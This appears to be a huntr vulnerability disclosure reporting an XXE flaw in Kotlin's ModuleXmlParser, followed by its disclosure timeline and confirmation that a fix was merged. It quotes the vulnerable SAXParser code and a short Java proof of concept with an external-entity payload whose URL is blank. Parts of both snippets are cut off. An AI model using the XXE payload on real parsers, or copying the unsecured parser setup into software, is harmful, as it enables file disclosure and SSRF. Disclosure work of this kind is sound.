Improper Restriction of XML External Entity Reference in jetbrains/kotlin


Reported on

Jan 15th 2022


The ModuleXmlParser.parse() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In

        SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(xml, new DelegatedSaxHandler() {
                protected DefaultHandler getDelegate() {
                    return currentState;
            return new ModuleChunk(modules);

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;


public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {

Causes an SSRF to


This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

We are processing your report and will contact the jetbrains/kotlin team within 24 hours. 4 months ago
We have contacted a member of the jetbrains/kotlin team and are waiting to hear back 4 months ago
We have sent a follow up to the jetbrains/kotlin team. We will try again in 7 days. 4 months ago
We have sent a second follow up to the jetbrains/kotlin team. We will try again in 10 days. 4 months ago
We have sent a third and final follow up to the jetbrains/kotlin team. This report is now considered stale. 4 months ago
2 months ago


@admin I have raised an issue in JetBrains form, You can check the flag security issue and fixed label.

For confirmation, we can refer to the KT-51519 Fixed label in the fix message.

Can you please validate this issue as valid based on the above information? Thanks.

Jamie Slome
a month ago


@ready-research - it looks like the URL that you shared is not public.

We would need some form of confirmation from the maintainers that this report itself was used to notify the maintainers about the vulnerability.

Have you shared this URL with them directly?

a month ago


@admin Okay. While raising the security issue, I have specifically mentioned the below "I originally reported this in huntr But we didn't get any response. So creating a security issue. Thanks."

Jamie Slome
a month ago


@ready-research - I have dropped a comment on the commit SHA, and we will wait to see if we get a response from the maintainer ­čĹŹ

A jetbrains/kotlin maintainer validated this vulnerability a month ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
A jetbrains/kotlin maintainer confirmed that a fix has been merged on 9c78d5 a month ago
The fix bounty has been dropped has been validated
to join this conversation